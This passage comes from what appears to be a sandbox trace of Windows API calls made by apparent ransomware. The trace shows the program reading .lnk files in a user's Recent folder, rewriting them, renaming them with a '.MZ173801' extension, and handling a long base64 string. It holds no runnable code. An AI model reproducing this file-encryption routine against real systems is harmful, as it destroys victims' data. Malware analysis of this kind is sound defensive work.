lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.490] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1a2b [0121.490] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.490] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x1a2b, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x1a2b, lpOverlapped=0x0) returned 1 [0121.491] CloseHandle (hObject=0x288) returned 1 [0121.491] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jS6DiLz01 X90l.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\js6dilz01 x90l.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.492] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x1a2b, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x1a2b, lpOverlapped=0x0) returned 1 [0121.496] CloseHandle (hObject=0x288) returned 1 [0121.499] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jS6DiLz01 X90l.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\js6dilz01 x90l.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jS6DiLz01 X90l.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\js6dilz01 x90l.lnk.mz173801")) returned 1 [0121.500] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf134c40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf134c40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf134c40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf22, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="JxyaUKX_jiXZ.lnk", cAlternateFileName="JXYAUK~1.LNK")) returned 1 [0121.500] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.500] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.500] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JxyaUKX_jiXZ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jxyaukx_jixz.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf134c40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf134c40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf134c40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf22)) returned 1 [0121.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.504] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JxyaUKX_jiXZ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jxyaukx_jixz.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.504] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.504] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.504] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xf22 [0121.505] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.505] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xf22, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xf22, lpOverlapped=0x0) returned 1 [0121.506] CloseHandle (hObject=0x288) returned 1 [0121.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JxyaUKX_jiXZ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jxyaukx_jixz.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.508] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xf22, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xf22, lpOverlapped=0x0) returned 1 [0121.509] CloseHandle (hObject=0x288) returned 1 [0121.511] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JxyaUKX_jiXZ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jxyaukx_jixz.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JxyaUKX_jiXZ.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jxyaukx_jixz.lnk.mz173801")) returned 1 [0121.512] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde1bbd40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde1bbd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde1bbd40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="kS3GSrBHiMqpF.lnk", cAlternateFileName="KS3GSR~1.LNK")) returned 1 [0121.512] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.512] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.512] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kS3GSrBHiMqpF.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ks3gsrbhimqpf.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde1bbd40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde1bbd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde1bbd40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x401)) returned 1 [0121.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.516] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kS3GSrBHiMqpF.lnk" (normalized: 